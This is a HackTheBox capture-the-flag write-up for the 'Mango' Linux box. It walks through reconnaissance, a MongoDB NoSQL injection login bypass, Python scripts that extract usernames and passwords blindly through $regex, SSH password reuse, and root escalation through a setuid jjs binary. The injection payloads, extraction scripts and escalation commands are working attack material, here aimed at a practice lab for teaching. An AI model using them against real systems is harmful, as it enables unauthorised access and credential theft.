Skip to content

Mango Writeup - HackTheBox

Medium Linux
Mohammad Meraj

Independent Security Researcher

Mango is a Linux box running a MongoDB backed login form. The chain runs: a TLS certificate that reveals the real virtual host, a NoSQL injection that authenticates without a password, blind extraction of both usernames and passwords through the $regex operator, password reuse straight into SSH, and a setuid jjs binary that runs arbitrary Java as root.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:22
Open $TARGET_IP:80
Open $TARGET_IP:443
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p22,80,443 $TARGET_IP -oA nmap/nmap
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http      Apache httpd 2.4.29
|_http-title: 403 Forbidden
443/tcp open  ssl/https Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd.
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p22,80,443 Limit the scan to the ports rustscan already found open.

Both web ports refuse the raw address, 403 on 80 and 400 on 443, which means Apache only serves content for a hostname it recognises. The certificate names that hostname: staging-order.mango.htb. Adding it to /etc/hosts makes port 80 serve a login form.

Vulnerability Discovery

Not SQL

Standard SQL injection payloads produce no errors and no bypass, which is itself informative. A staging order application on this stack is as likely to be MongoDB behind PHP, and PHP parses bracketed field names such as password[$ne] into an array. If the backend hands that array to the query unchecked, MongoDB reads it as the $ne operator, so the check becomes not equal rather than equal.

username=admin&password[$ne]=invalid&login=login
┌──(kali㉿kali)-[~]
└─$ curl -I http://staging-order.mango.htb/home.php
HTTP/1.1 302 Found
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=5jpjiqo9c8ndatsejc6j88ksgl; path=/
location: index.php
Explain command
-I Request headers only, which is enough to see the redirect.

A 302 instead of a bounce back to the login page means the query matched, so authentication is bypassed as long as the username exists. That boolean difference between 302 and not is also an oracle, and $regex turns it into a way to read data out one character at a time.

Exploitation

Recovering usernames

#!/usr/bin/env python3
import requests, string

URL = "http://staging-order.mango.htb/"
CHARSET = string.ascii_letters + string.digits + "_@.-"
session = requests.Session()

def test_regex(regex):
    data = {"username[$regex]": regex, "password[$ne]": "invalid", "login": "login"}
    r = session.post(URL, data=data, allow_redirects=False, timeout=10)
    return r.status_code == 302

username = ""
while True:
    for char in CHARSET:
        if test_regex("^" + username + char):
            username += char
            print(f"[+] {username}")
            break
    else:
        break
┌──(kali㉿kali)-[~]
└─$ python3 userenum.py
[+] a
[+] ad
[+] adm
[+] admi
[+] admin

Rerunning with a pattern that excludes names starting with a finds a second account, mango. Two usernames is enough to move on to their passwords.

Why the naive extraction breaks

The same prefix technique aimed at the password field starts fine and then drifts into nonsense. The reason is that candidate characters are being pasted into a regular expression unescaped, so metacharacters like *, ., +, [ and $ match by accident rather than literally. Every one of those produces a false positive.

Two changes fix it. Escape each candidate with re.escape(), and first fingerprint which characters appear anywhere in the password so the positional pass only tries a handful per position.

#!/usr/bin/env python3
import requests, string, re

URL = "http://staging-order.mango.htb/"
USERS = ["admin", "mango"]
CHARSET = string.ascii_letters + string.digits + string.punctuation
session = requests.Session()

def contains_char(username, char):
    regex = "^.*" + re.escape(char) + ".*$"
    data = {"username": username, "password[$regex]": regex, "login": "login"}
    r = session.post(URL, data=data, allow_redirects=False, timeout=10)
    return r.status_code == 302

for username in USERS:
    valid = [c for c in CHARSET if contains_char(username, c)]
    print(username, "".join(valid))
┌──(kali㉿kali)-[~]
└─$ python3 pass-char.py
admin ctBKS0239!#>
mango fhmHKRUX358]{~

Twelve and fourteen candidates respectively, instead of the full printable range. The positional pass then anchors ^ plus the escaped prefix recovered so far.

def recover(username, charset, password=""):
    while True:
        for char in charset:
            candidate = password + char
            data = {"username": username, "password[$regex]": "^" + re.escape(candidate), "login": "login"}
            r = session.post(URL, data=data, allow_redirects=False, timeout=10)
            if r.status_code == 302:
                password = candidate
                print(f"[+] {password}")
                break
        else:
            return password
┌──(kali㉿kali)-[~]
└─$ python3 pass.py
[*] Recovering: admin
<snip>
[+] Final candidate for admin: $ADMINS_PASSWORD
[*] Recovering: mango
<snip>
[+] Final candidate for mango: $MANGOS_PASSWORD

Both passwords recovered through nothing but redirect status codes. This is blind injection in the same shape as the SQL version, aimed at MongoDB operators instead of SQL syntax.

Reusing them on SSH

┌──(kali㉿kali)-[~]
└─$ ssh mango@$TARGET_IP
mango@mango:~$ whoami
mango

The web password is also the system password. The admin credentials work the same way from inside that session.

mango@mango ~ $ su admin
Password:
$ whoami
admin

Privilege Escalation

SUID binaries

admin@mango ~ $ find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null
-rwsr-xr-x 1 root root 22520 Mar 27  2019 /usr/bin/pkexec
-rwsr-xr-- 1 root messagebus 42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-xr-x 1 root root 436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
<snip>
Explain command
-perm -4000 Match the setuid bit.
-exec ls -l {} \; Print ownership and mode for each match.

jjs is the Java shell from the JDK and has no business being setuid. It is group owned by admin, which is exactly the account just obtained, and it executes arbitrary Java, so anything it spawns inherits root as the effective user. GTFOBins documents this exact case.

Staging a copy of bash first gives the escalation something to mark setuid.

admin@mango ~ $ cp /bin/bash /tmp/rootbash
admin@mango ~ $ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
jjs> var R = Java.type("java.lang.Runtime");
jjs> var r = R.getRuntime();
jjs> r.exec(["/bin/chmod", "4755", "/tmp/rootbash"]).waitFor();
0
jjs> exit()

The chmod runs as root, so the staged binary keeps its root ownership and gains the setuid bit. Bash drops elevated privileges on startup unless told not to, which is what -p is for.

admin@mango ~ $ /tmp/rootbash -p
rootbash-4.4# whoami
root
Explain command
-p Keep the effective user id instead of dropping back to the real one.

Root shell. User and root are both covered.

References